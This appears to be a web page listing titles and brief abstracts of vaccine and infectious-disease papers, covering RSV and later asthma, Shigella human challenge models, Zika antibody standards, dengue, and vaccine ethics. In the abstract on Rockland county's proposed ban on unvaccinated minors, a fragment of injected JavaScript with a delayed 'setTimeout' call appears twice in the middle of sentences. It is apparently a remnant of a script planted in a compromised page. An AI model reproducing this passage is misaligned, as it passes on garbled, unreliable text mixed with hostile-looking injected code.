Does respiratory syncytial virus lower respiratory illness in early life cause recurrent wheeze of early childhood and asthma? Critical review of the evidence and guidance for future studies from a World Health Organization-sponsored meeting

A long-standing question is whether RSV LRTI in early life causes subsequent recurrent wheeze of early childhood (RWEC) and asthma. The current evidence supporting a causal association between RSV and RWEC/asthma is mixed. To shed light on this important question, the World Health Organization (WHO) undertook three activities. The first comprised an analysis of the sample size required to estimate the potential impact of RSV prevention by vaccines or mAbs on the subsequent development of RWEC in RCTs. The second was a systematic review and meta-analysis that will be reported separately. Third was a convening of subject matter experts on February 12–13, 2019 in Geneva, Switzerland.

Consensus Report on Shigella Controlled Human Infection Model: Conduct of Studies

Shigella CHIMs are useful for evaluating potential therapeutics and vaccines. As this organism is increasingly recognized as a cause of morbidity and mortality, a vaccine is now a global health priority. The Shigella CHIM allows for rapid evaluation of vaccine efficacy for up- or down-selection of vaccine candidates. Opportunities have arisen to validate the model as a predictor for vaccine efficacy in the field.

Harmonization of Zika neutralization assays by using the WHO International Standard for anti-Zika virus antibody

During outbreaks of emerging viruses, such as the Zika outbreak in 2015–2016, speed and accuracy in detection of infection are critical factors to control the spread of the disease; often serological and diagnostic methods for emerging viruses are not well developed and validated. Thus, vaccines and treatments are difficult to evaluate due to the lack of comparable methods. In this study, we show how the 1st WHO International Standard for anti-Zika antibody was able to harmonize the neutralization titres of a panel of serological Zika-positive samples from laboratories worldwide.

Safety and Immunogenicity of the Respiratory Syncytial Virus Vaccine RSV/ΔNS2/Δ1313/I1314L in RSV-Seronegative Children

Respiratory syncytial virus (RSV) is the most important cause of severe acute lower respiratory illness (LRI) in infants and children worldwide, and the relative importance of RSV has increased as the burden of bacterial pneumonia has declined with vaccine implementation. According to global estimates, RSV caused approximately 33 million cases of LRI and approximately 118 000 deaths in children <5 years of age in 2015.

Dengue vascular leak syndrome: insights into potentially new treatment modalities

Dengue viruses (DENV) are the most common cause of mosquito-borne viral illness in the world, affecting approximately 400 million people annually. Symptomatic illness ranges from a mild, self-limiting febrile illness to one manifested by plasma leakage that can lead to vascular collapse and death. In this issue of the JCI, Rathore et al. report that DENV can cause mast cell degranulation independently of mast cell infection, resulting in the release of the vasoactive mediators chymase and tryptase.

Live-Attenuated Respiratory Syncytial Virus Vaccine With Deletion of RNA Synthesis Regulatory Protein M2-2 and Cold Passage Mutations Is Overattenuated.

This randomized (2:1 vaccine to placebo), double-blind, placebo controlled study ( NCT02890381/NCT02948127) was conducted at 5 clinical trials sites with accrual between October 5 and October 26, 2016. Eligible children were ≥6 and <25 months of age, healthy, with no history of lung disease, and were RSV-seronegative at screening, defined as having a serum RSV 60% plaque-reduction neutralizing titer (PRNT60) ≤1:40.

Rockland county’s proposed ban against unvaccinated minors: Balancing disease control, trust, and liberty

From the public health lens, we argue: (1) public health officials have the responsibility dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to protect the public from harm, especially in the context of an outbreak, (2) the pathogen’s epidemiology, including the severity of the disease, and transmission dynamics should inform the methods of disease control, and (3) public health officials have the authority dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to implement certain, scientifically sound control measures during an outbreak.

Pregnant women & vaccines against emerging epidemic threats: Ethics guidance for preparedness, research, and response.

This Guidance offers 22 concrete recommendations that provide a roadmap for the ethically responsible, socially just, and respectful inclusion of the interests of pregnant women in the development and deployment of vaccines against emerging pathogens. The Guidance was developed by the Pregnancy Research Ethics for Vaccines, Epidemics, and New Technologies (PREVENT) Working Group – a […]

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